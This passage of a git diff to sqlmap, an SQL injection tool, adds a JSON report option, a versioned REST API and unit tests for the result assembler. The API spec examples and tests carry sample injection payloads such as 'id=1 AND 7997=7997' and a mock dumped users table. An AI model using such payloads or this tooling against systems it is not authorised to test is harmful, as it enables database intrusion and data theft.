dict) and len(dbTables) > 0: + self._reportData(dbTables, CONTENT_TYPE.COUNT) + if conf.api: self._write(dbTables, content_type=CONTENT_TYPE.COUNT) @@ -413,6 +441,8 @@ def dbTableValues(self, tableValues): safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)) safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)) + self._reportData(tableValues, CONTENT_TYPE.DUMP_TABLE) + if conf.api: self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) @@ -679,6 +709,8 @@ def dbTableValues(self, tableValues): logger.warning(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): + self._reportData(dbColumnsDict, CONTENT_TYPE.COLUMNS) + if conf.api: self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 44b4ca8f560..d9daa2d36fb 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -235,6 +235,7 @@ "postprocess": "string", "preprocess": "string", "repair": "boolean", + "reportJson": "string", "saveConfig": "string", "scope": "string", "skipHeuristics": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index 5fa1a8f153c..c9e7ef6e371 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.107" +VERSION = "1.10.6.108" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -843,6 +843,15 @@ # Default adapter to use for bottle server RESTAPI_DEFAULT_ADAPTER = "wsgiref" +# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version. +# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response), +# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes. +# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI +# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes. +# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape +# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added). +RESTAPI_VERSION = "2.0.0" + # Default REST API server listen address RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" @@ -850,7 +859,7 @@ RESTAPI_DEFAULT_PORT = 8775 # Unsupported options by REST API server -RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert") +RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson") # Use "Supplementary Private Use Area-A" INVALID_UNICODE_PRIVATE_AREA = False diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index cf200380630..8198ff8ed79 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -727,6 +727,9 @@ def cmdLineParser(argv=None): general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) + general.add_argument("--report-json", dest="reportJson", + help="Store run results to a JSON file") + general.add_argument("--save", dest="saveConfig", help="Save options to a configuration INI file") diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index 1758d98089f..faf0a9383ea 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -127,10 +127,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None expression = match.group(2).strip() try: - # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API + # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used, or the + # engine is called from the API, or a JSON report is being collected (so enumeration output is tagged) if conf.predictOutput: kb.partRun = getPartRun() - elif conf.api: + elif conf.api or conf.reportJson: kb.partRun = getPartRun(alias=False) else: kb.partRun = None diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index a9ae8bac007..2eb38c1c46e 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -314,8 +314,8 @@ def errorUse(expression, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) - # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if conf.api else None + # Set kb.partRun in case the engine is called from the API or a JSON report is being collected + kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None # We have to check if the SQL query might return multiple entries # and in such case forge the SQL limiting the query output one diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 3802b463575..59ce5de670c 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -258,8 +258,8 @@ def unionUse(expression, unpack=True, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) - # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if conf.api else None + # Set kb.partRun in case the engine is called from the API or a JSON report is being collected + kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it diff --git a/lib/utils/api.py b/lib/utils/api.py index 4a4559635de..90d0c0b9e3c 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -44,7 +44,9 @@ from lib.core.dicts import PART_RUN_CONTENT_TYPES from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import CONTENT_STATUS +from lib.core.enums import CONTENT_TYPE from lib.core.enums import MKSTEMP_PREFIX +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict @@ -53,6 +55,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.settings import RESTAPI_UNSUPPORTED_OPTIONS +from lib.core.settings import RESTAPI_VERSION from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.subprocessng import Popen @@ -80,6 +83,195 @@ class DataStore(object): RESTAPI_READONLY_OPTIONS = ("api", "taskid", "database") +# Reverse map CONTENT_TYPE int -> name (e.g. 2 -> "DBMS_FINGERPRINT"), for machine-readable reports +CONTENT_TYPE_NAMES = dict((v, k) for k, v in vars(CONTENT_TYPE).items() if not k.startswith("_") and isinstance(v, int)) + +# Task id used for the single-target CLI collector backing --report-json +REPORT_TASKID = 0 + +def _storeData(cursor, taskid, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): + """ + Records a single (status, content_type, value) result row into an IPC-style 'data' table. + + Shared by the REST API (via StdDbOut) and the CLI --report-json collector so both capture + results through identical logic (partial outputs are appended; a COMPLETE output replaces + its partials). Mirrors the API's per-content_type merge semantics. + """ + + if content_type is None: + if kb.partRun is not None: + content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) + else: + # Ignore all non-relevant (untyped) messages + return + + output = cursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (taskid, content_type)) + + # Delete partial output from the database if we have got a complete output + if status == CONTENT_STATUS.COMPLETE: + if len(output) > 0: + for index in xrange(len(output)): + cursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) + + cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value))) + if kb.partRun: + kb.partRun = None + + elif status == CONTENT_STATUS.IN_PROGRESS: + if len(output) == 0: + cursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (taskid, status, content_type, jsonize(value))) + else: + new_value = "%s%s" % (dejsonize(output[0][2]), value) + cursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) + +# Internal detection/plumbing fields that are meaningless to API/report consumers and are stripped +# from the assembled output (the underlying kb/session structures keep them; only the output is cleaned) +INJECTION_INTERNAL_FIELDS = ("conf", "prefix", "suffix", "ptype", "clause") # detection/construction internals, irrelevant to a result consumer +TECHNIQUE_INTERNAL_FIELDS = ("matchRatio", "trueCode", "falseCode", "templatePayload", "where") # per-technique internals + +def _cleanIdentifier(name): + """ + Strips SQL identifier quoting (`backticks`, "double quotes", [brackets]) in a DBMS-INDEPENDENT + way. Used instead of unsafeSQLIdentificatorNaming (which needs Backend.getIdentifiedDbms) so the + result is identical in the CLI and in the API server process - which has no Backend context + because the scan ran in a subprocess. Context-free => API and report stay in parity. + """ + + if isinstance(name, six.string_types): + for ch in ("`", "\"", "[", "]"): + name = name.replace(ch, "") + return name + +def _cleanIdentifiersDeep(value): + """ + Recursively unquotes every identifier in a metadata structure (dict keys and string leaves - + db/table/column names). Used for the schema-listing content types (TABLES/COLUMNS/SCHEMA/COUNT) + whose payload is entirely identifiers + types/counts (never user row data), so cleaning every + string is safe. NOT used for DUMP_TABLE, whose leaf values are real row data. + """ + + if isinstance(value, dict): + return dict((_cleanIdentifier(k), _cleanIdentifiersDeep(v)) for k, v in value.items()) + elif isinstance(value, (list, tuple)): + return [_cleanIdentifiersDeep(_) for _ in value] + elif isinstance(value, six.string_types): + return _cleanIdentifier(value) + return value + +# Schema-listing content types: pure identifiers + types/counts, so identifier quoting is cleaned +# recursively for consistency with DUMP_TABLE (which is handled separately because it carries row data) +IDENTIFIER_KEYED_TYPES = (CONTENT_TYPE.TABLES, CONTENT_TYPE.COLUMNS, CONTENT_TYPE.SCHEMA, CONTENT_TYPE.COUNT) + +def _sanitizeScanData(content_type, value): + """ + Reshapes an assembled result value into the clean, consumer-facing form used by BOTH the API + response and the --report-json file: internal detection/plumbing fields are dropped, the + per-technique map becomes a named list, and dumped-table identifiers are unquoted. Operates on + the dejsonized copy, so the live kb/session structures are never modified. Falls back to the raw + value on any surprise. + """ + + try: + if content_type == CONTENT_TYPE.TECHNIQUES and isinstance(value, (list, tuple)): + cleaned = [] + for injection in value: + if not isinstance(injection, dict): + cleaned.append(injection) + continue + injection = dict(injection) + for field in INJECTION_INTERNAL_FIELDS: + injection.pop(field, None) + techniques = injection.get("data") + if isinstance(techniques, dict): + # turn the {"1": {...}, "2": {...}} map (keyed by opaque technique ids) into an + # ordered list, each entry naming its technique (e.g. "boolean-based blind") + reduced = [] + for stype in sorted(techniques, key=lambda _: int(_) if str(_).isdigit() else _): + details = techniques[stype] + if isinstance(details, dict): + details = dict(details) + for field in TECHNIQUE_INTERNAL_FIELDS: + details.pop(field, None) + key = int(stype) if str(stype).isdigit() else stype + entry = {"technique": PAYLOAD.SQLINJECTION.get(key, key)} + entry.update(details) + details = entry + reduced.append(details) + injection["data"] = reduced + cleaned.append(injection) + return cleaned + + elif content_type == CONTENT_TYPE.DUMP_TABLE and isinstance(value, dict): + infos = value.get("__infos__") or {} + result = {"db": _cleanIdentifier(infos.get("db")), "table": _cleanIdentifier(infos.get("table")), "count": infos.get("count"), "columns": {}} + for column, cell in value.items(): + if column == "__infos__": + continue + # clean the identifier, drop the per-column display 'length', keep just the values list + values = cell.get("values") if isinstance(cell, dict) else cell + if isinstance(values, (list, tuple)): + # sqlmap represents a DB NULL as a single space (DUMP_REPLACEMENTS); surface it as + # JSON null. An empty string "" is a genuine empty value and is left as-is. + values = [None if _ == " " else _ for _ in values] + result["columns"][_cleanIdentifier(column)] = values + return result + + elif content_type in IDENTIFIER_KEYED_TYPES and isinstance(value, (dict, list, tuple)): + return _cleanIdentifiersDeep(value) + + except Exception as ex: + logger.debug("failed to sanitize scan data (content type %s): %s" % (content_type, getSafeExString(ex))) + + return value + +def _assembleData(cursor, taskid): + """ + Assembles all stored results for a task into the canonical scan-data structure + {"success": True, "data": [{status, type, type_name, value}, ...], "error": [...]}. + + Shared by the REST API endpoint /scan//data and the CLI --report-json writer so the two + produce identical output (the CLI report is this dict plus a 'meta' wrapper). + """ + + json_data_message = list() + json_errors_message = list() + + for status, content_type, value in cursor.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_data_message.append({"status": status, "type": content_type, "type_name": CONTENT_TYPE_NAMES.get(content_type), "value": _sanitizeScanData(content_type, dejsonize(value))}) + + for error, in cursor.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): + json_errors_message.append(error) + + return {"success": True, "data": json_data_message, "error": json_errors_message} + +def setupReportCollector(): + """ + Creates an in-memory IPC-style database used to collect results for a CLI --report-json run. + Reuses the same Database/schema the REST API uses so capture+assembly logic is shared. + """ + + collector = Database(":memory:") + collector.connect("report") + collector.init() + return collector + +def writeReportJson(collector, filepath): + """ + Writes the collected results to filepath as JSON, in the same shape as the REST API's + /scan//data response, wrapped with a small 'meta' block for standalone consumers. + """ + + result = _assembleData(collector, REPORT_TASKID) + result["meta"] = { + "api_version": int(RESTAPI_VERSION.split(".")[0]), # MAJOR only - the part that matters for client compatibility + "sqlmap_version": VERSION_STRING, + "url": conf.get("url"), + "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"), + } + + with openFile(filepath, "w+") as f: + f.write(getText(jsonize(result))) + # API objects class Database(object): filepath = None @@ -236,31 +428,7 @@ def __init__(self, taskid, messagetype="stdout"): def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": - if content_type is None: - if kb.partRun is not None: - content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) - else: - # Ignore all non-relevant messages - return - - output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type)) - - # Delete partial output from IPC database if we have got a complete output - if status == CONTENT_STATUS.COMPLETE: - if len(output) > 0: - for index in xrange(len(output)): - conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) - - conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) - if kb.partRun: - kb.partRun = None - - elif status == CONTENT_STATUS.IN_PROGRESS: - if len(output) == 0: - conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) - else: - new_value = "%s%s" % (dejsonize(output[0][2]), value) - conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) + _storeData(conf.databaseCursor, self.taskid, value, status, content_type) else: conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) @@ -429,9 +597,13 @@ def task_list(token=None): """ tasks = {} - for key in DataStore.tasks: + for key in list(DataStore.tasks): if is_admin(token) or DataStore.tasks[key].remote_addr == request.remote_addr: - tasks[key] = dejsonize(scan_status(key))["status"] + # NOTE: tolerate a task being deleted concurrently (scan_status would then return an + # error envelope without a "status" key); skip it rather than raising KeyError + status = dejsonize(scan_status(key)).get("status") + if status is not None: + tasks[key] = status logger.debug("(%s) Listed task pool (%s)" % (token, "admin" if is_admin(token) else request.remote_addr)) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) @@ -606,23 +778,15 @@ def scan_data(taskid): Retrieve the data of a scan """ - json_data_message = list() - json_errors_message = list() - if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) - # Read all data from the IPC database for the taskid - for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): - json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) - - # Read all error messages from the IPC database - for error, in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): - json_errors_message.append(error) + # Read all data and error messages from the IPC database (shared assembler - same output as --report-json) + result = _assembleData(DataStore.current_db, taskid) logger.debug("(%s) Retrieved scan data and error messages" % taskid) - return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) + return jsonize(result) # Functions to handle scans' logs @get("/scan//log//") @@ -702,7 +866,7 @@ def version(token=None): """ logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr)) - return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]}) + return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1], "api_version": int(RESTAPI_VERSION.split(".")[0])}) def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None, database=None): """ diff --git a/sqlmap.py b/sqlmap.py index 7ed61e529c6..da6b3ab0c15 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -176,6 +176,10 @@ def main(): init() + if conf.get("reportJson"): + from lib.utils.api import setupReportCollector + conf.reportCollector = setupReportCollector() + if not conf.updateAll: # Postponed imports (faster start) if conf.smokeTest: @@ -568,6 +572,21 @@ def main(): warnMsg = "your sqlmap version is outdated" logger.warning(warnMsg) + # emit the JSON report BEFORE the closing banner, so it does not appear awkwardly after + # "[*] ending @ ..." + if conf.get("reportCollector") is not None: + try: + from lib.utils.api import writeReportJson + writeReportJson(conf.reportCollector, conf.reportJson) + logger.info("JSON report written to '%s'" % conf.reportJson) + except Exception as ex: + logger.error("unable to write JSON report to '%s' ('%s')" % (conf.reportJson, getSafeExString(ex))) + finally: + try: + conf.reportCollector.disconnect() + except Exception as ex: + logger.debug("problem occurred while closing the report collector ('%s')" % getSafeExString(ex)) + if conf.get("showTime"): dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml index a5829d7a466..28e273875e3 100644 --- a/sqlmapapi.yaml +++ b/sqlmapapi.yaml @@ -1,7 +1,7 @@ openapi: 3.0.3 info: title: sqlmap REST API - version: "1.0.0" + version: "2.0.0" description: | OpenAPI/Swagger specification for sqlmapapi.py, the sqlmap REST API server. @@ -48,11 +48,13 @@ paths: get: tags: [Version] operationId: getVersion - summary: Fetch server version - description: Returns the sqlmap version string reported by the API server. + summary: Fetch server and API version + description: >- + Returns the sqlmap version string and the API contract version (api_version), which follows + semantic versioning independently of the sqlmap version so clients can check compatibility. responses: "200": - description: Server version returned. + description: Server and API version returned. content: application/json: schema: @@ -62,6 +64,7 @@ paths: value: success: true version: "1.10.6.51#dev" + api_version: 2 "401": $ref: "#/components/responses/Unauthorized" @@ -459,8 +462,43 @@ paths: success: true data: - status: 1 - type: 0 - value: [] + type: 2 + type_name: DBMS_FINGERPRINT + value: "back-end DBMS: MySQL >= 5.1" + - status: 1 + type: 4 + type_name: CURRENT_USER + value: "root@%" + - status: 1 + type: 12 + type_name: DBS + value: ["information_schema", "mysql", "testdb"] + - status: 1 + type: 1 + type_name: TECHNIQUES + value: + - place: GET + parameter: id + dbms: MySQL + dbms_version: [">= 5.1"] + os: null + notes: [] + data: + - technique: "boolean-based blind" + title: "AND boolean-based blind - WHERE or HAVING clause" + payload: "id=1 AND 7997=7997" + vector: "AND [INFERENCE]" + comment: "" + - status: 1 + type: 17 + type_name: DUMP_TABLE + value: + db: testdb + table: users + count: 2 + columns: + id: ["1", "2"] + name: ["admin", null] error: [] "401": $ref: "#/components/responses/Unauthorized" @@ -670,7 +708,7 @@ components: VersionResponse: type: object - required: [success, version] + required: [success, version, api_version] properties: success: type: boolean @@ -679,6 +717,13 @@ components: type: string description: sqlmap version string without the `sqlmap/` prefix. example: "1.10.6.51#dev" + api_version: + type: integer + description: >- + MAJOR API-contract version (integer), independent of the sqlmap version. Only the major + is exposed at runtime because only a major bump breaks clients; the full semantic version + is this document's info.version. Clients compare e.g. api_version == 2. + example: 2 additionalProperties: false TaskNewResponse: @@ -811,16 +856,23 @@ components: ScanDataItem: type: object - required: [status, type, value] + required: [status, type, type_name, value] properties: status: type: integer - description: Numeric content status stored by sqlmap. + description: Numeric content status (0 = in progress, 1 = complete). example: 1 type: type: integer description: Numeric content type stored by sqlmap. - example: 0 + example: 2 + type_name: + type: string + nullable: true + description: >- + Human-readable name of the content type (e.g. "DBMS_FINGERPRINT", "CURRENT_USER", + "DBS", "TECHNIQUES", "DUMP_TABLE"). null for any unmapped type. + example: DBMS_FINGERPRINT value: anyOf: - type: string @@ -832,7 +884,13 @@ components: items: {} - type: object additionalProperties: true - description: JSON-decoded scan output value. Shape depends on the content type. + description: >- + JSON-decoded scan output value; its shape depends on the content type. Internal + plumbing is stripped: TECHNIQUES is a list of injection points whose "data" is a list of + techniques each named via a "technique" field (matchRatio/trueCode/falseCode/ + templatePayload/where/conf are not exposed); DUMP_TABLE is + {db, table, count, columns: {column: [values]}} (the internal __infos__ wrapper and + per-column length are not exposed). additionalProperties: true ScanDataResponse: diff --git a/tests/test_report.py b/tests/test_report.py new file mode 100644 index 00000000000..86eb9d9cfaa --- /dev/null +++ b/tests/test_report.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +JSON scan report collector/assembler (lib/utils/api.py), shared by the REST API +endpoint /scan//data and the CLI --report-json writer. + +The whole point of the feature is that both produce the SAME structure, so these +tests pin the shared contract: the per-content_type merge (partial -> complete), +the assembled {success, data:[{status,type,type_name,value}], error} shape, the +partRun fallback for untyped output, and the meta-wrapped file written to disk. +A regression here is a divergence between the API and the report - the exact bug +this design exists to prevent. +""" + +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api as api +from lib.core.data import conf, kb +from lib.core.enums import CONTENT_TYPE, CONTENT_STATUS + + +class _CollectorCase(unittest.TestCase): + def setUp(self): + self.c = api.setupReportCollector() + self._saved_partRun = kb.get("partRun") + + def tearDown(self): + kb.partRun = self._saved_partRun + try: + self.c.disconnect() + except Exception: + pass + + def _store(self, value, content_type, status=CONTENT_STATUS.COMPLETE): + api._storeData(self.c, api.REPORT_TASKID, value, status, content_type) + + +class TestAssembledShape(_CollectorCase): + def test_structure_and_typename(self): + self._store("MySQL >= 5.0.12", CONTENT_TYPE.DBMS_FINGERPRINT) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["success"], True) + self.assertEqual(result["error"], []) + self.assertEqual(len(result["data"]), 1) + entry = result["data"][0] + self.assertEqual(sorted(entry.keys()), ["status", "type", "type_name", "value"]) + self.assertEqual(entry["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(entry["type_name"], "DBMS_FINGERPRINT") # int -> readable name + self.assertEqual(entry["value"], "MySQL >= 5.0.12") + + def test_structured_values_preserved(self): + # dict / list / bool must survive as native JSON types (not stringified) - this is what + # makes the report machine-consumable, exactly like the API + self._store({"url": "http://h/?id=1", "data": None}, CONTENT_TYPE.TARGET) + self._store(["a", "b", "c"], CONTENT_TYPE.DBS) + self._store(True, CONTENT_TYPE.IS_DBA) + by_type = {d["type"]: d["value"] for d in api._assembleData(self.c, api.REPORT_TASKID)["data"]} + self.assertEqual(by_type[CONTENT_TYPE.TARGET], {"url": "http://h/?id=1", "data": None}) + self.assertEqual(by_type[CONTENT_TYPE.DBS], ["a", "b", "c"]) + self.assertIs(by_type[CONTENT_TYPE.IS_DBA], True) + + +class TestMergeSemantics(_CollectorCase): + def test_complete_replaces_partials(self): + # the API appends IN_PROGRESS chunks then a COMPLETE replaces them; final value is COMPLETE + self._store("roo", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.IN_PROGRESS) + self._store("t@localhost", CONTENT_TYPE.CURRENT_USER, CONTENT_STATUS.COMPLETE) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) # one row, not two + self.assertEqual(data[0]["value"], "t@localhost") + self.assertEqual(data[0]["status"], CONTENT_STATUS.COMPLETE) + + def test_inprogress_chunks_accumulate(self): + self._store("foo", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + self._store("bar", CONTENT_TYPE.BANNER, CONTENT_STATUS.IN_PROGRESS) + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(data[0]["value"], "foobar") # appended + + +class TestPartRunFallback(_CollectorCase): + def test_untyped_output_tagged_via_partrun(self): + # untyped output during a part-run (e.g. the fingerprint line) is tagged by kb.partRun - + # this is how DBMS_FINGERPRINT is captured with no explicit content_type + kb.partRun = "getFingerprint" + self._store("back-end DBMS: MySQL >= 5.1", None) # content_type=None + data = api._assembleData(self.c, api.REPORT_TASKID)["data"] + self.assertEqual(len(data), 1) + self.assertEqual(data[0]["type"], CONTENT_TYPE.DBMS_FINGERPRINT) + self.assertEqual(data[0]["value"], "back-end DBMS: MySQL >= 5.1") + + def test_untyped_output_without_partrun_is_ignored(self): + kb.partRun = None + self._store("just a log line", None) + self.assertEqual(api._assembleData(self.c, api.REPORT_TASKID)["data"], []) + + +class TestSanitize(unittest.TestCase): + """The shared assembler strips internal plumbing (matchRatio/trueCode/falseCode/templatePayload/ + where/conf) from TECHNIQUES and restructures DUMP_TABLE (drop __infos__ wrapper + per-column + 'length'), so neither the API nor the report leaks consumer-irrelevant internals. Deterministic + (no run variance), unlike the live API-vs-report comparison.""" + + def test_techniques_internals_stripped_and_named(self): + injection = { + "place": "GET", "parameter": "id", "ptype": 1, "dbms": "MySQL", + "conf": {"string": "x", "regexp": None}, # internal -> must be dropped + "data": {"1": {"title": "boolean", "payload": "id=1 AND 1=1", "vector": "AND [INFERENCE]", + "comment": "", "where": 1, "matchRatio": 0.74, "trueCode": 200, + "falseCode": 200, "templatePayload": None}, + "6": {"title": "union", "payload": "id=1 UNION ...", "vector": "...", "comment": ""}}, + } + injection["ptype"] = 1 + injection["clause"] = [1, 8, 9] + injection["prefix"] = "" + injection["suffix"] = "" + original = json.loads(json.dumps(injection)) # deep copy to prove no mutation + out = api._sanitizeScanData(CONTENT_TYPE.TECHNIQUES, [injection])[0] + # detection/construction internals dropped + for field in ("conf", "ptype", "clause", "prefix", "suffix"): + self.assertNotIn(field, out) + # data is now an ordered LIST (not a map keyed by opaque ids), each entry named + self.assertIsInstance(out["data"], list) + self.assertEqual([t["technique"] for t in out["data"]], ["boolean-based blind", "UNION query"]) + first = out["data"][0] + self.assertEqual(sorted(first.keys()), ["comment", "payload", "technique", "title", "vector"]) + self.assertEqual(first["payload"], "id=1 AND 1=1") # consumer-relevant fields preserved + self.assertEqual(out["dbms"], "MySQL") + # input not mutated (operates on a copy - must not corrupt live kb.injections) + self.assertEqual(injection, original) + + def test_dump_table_restructured_and_unquoted(self): + value = { + "__infos__": {"db": "`master`", "table": "users", "count": 3}, + "id": {"length": 2, "values": ["1", "2", "3"]}, + "`name`": {"length": 9, "values": ["alice", " ", ""]}, # backtick id; " " is a DB NULL, "" is empty + } + out = api._sanitizeScanData(CONTENT_TYPE.DUMP_TABLE, value) + self.assertEqual(sorted(out.keys()), ["columns", "count", "db", "table"]) + self.assertNotIn("__infos__", out) + self.assertEqual(out["db"], "master") # quoting stripped (context-free) + self.assertEqual(out["table"], "users") + self.assertEqual(out["count"], 3) + # columns flattened to value lists (no 'length'), identifiers unquoted + self.assertEqual(out["columns"]["id"], ["1", "2", "3"]) + self.assertNotIn("`name`", out["columns"]) + # DB NULL (" ") -> JSON null; genuine empty string ("") preserved + self.assertEqual(out["columns"]["name"], ["alice", None, ""]) + + def test_schema_listing_identifiers_cleaned(self): + # TABLES/COLUMNS/SCHEMA/COUNT must have their identifiers unquoted too (consistency with + # DUMP_TABLE) - a regression here is the exact "X cleaned but Y not" inconsistency to avoid + tables = api._sanitizeScanData(CONTENT_TYPE.TABLES, {"`master`": ["users", "`order`"]}) + self.assertEqual(tables, {"master": ["users", "order"]}) + columns = api._sanitizeScanData(CONTENT_TYPE.COLUMNS, + {"`master`": {"users": {"id": "int", "`name`": "varchar(500)"}}}) + self.assertEqual(columns, {"master": {"users": {"id": "int", "name": "varchar(500)"}}}) + schema = api._sanitizeScanData(CONTENT_TYPE.SCHEMA, {"sys": {"w": {"`events`": "varchar(128)"}}}) + self.assertEqual(schema, {"sys": {"w": {"events": "varchar(128)"}}}) + count = api._sanitizeScanData(CONTENT_TYPE.COUNT, {"`master`": {"5": ["users"]}}) + self.assertEqual(count, {"master": {"5": ["users"]}}) + + def test_identifier_unquoting_is_context_free(self): + # all DBMS quote styles handled without Backend context (so CLI and API server agree) + self.assertEqual(api._cleanIdentifier("`tbl`"), "tbl") # MySQL + self.assertEqual(api._cleanIdentifier('"tbl"'), "tbl") # PostgreSQL/Oracle + self.assertEqual(api._cleanIdentifier("[tbl]"), "tbl") # MSSQL + self.assertEqual(api._cleanIdentifier("plain"), "plain") + + def test_other_types_pass_through(self): + # non-TECHNIQUES/DUMP_TABLE values are returned unchanged + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.CURRENT_USER, "root@%"), "root@%") + self.assertEqual(api._sanitizeScanData(CONTENT_TYPE.DBS, ["a", "b"]), ["a", "b"]) + self.assertIs(api._sanitizeScanData(CONTENT_TYPE.IS_DBA, True), True) + + +class TestErrors(_CollectorCase): + def test_errors_captured(self): + self.c.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (api.REPORT_TASKID, "something failed")) + result = api._assembleData(self.c, api.REPORT_TASKID) + self.assertEqual(result["error"], ["something failed"]) + + +class TestWriteReportJson(_CollectorCase): + def test_file_is_valid_json_with_meta(self): + self._store("admin", CONTENT_TYPE.CURRENT_USER) + saved_url = conf.get("url") + conf.url = "http://target/?id=1" + fd, path = 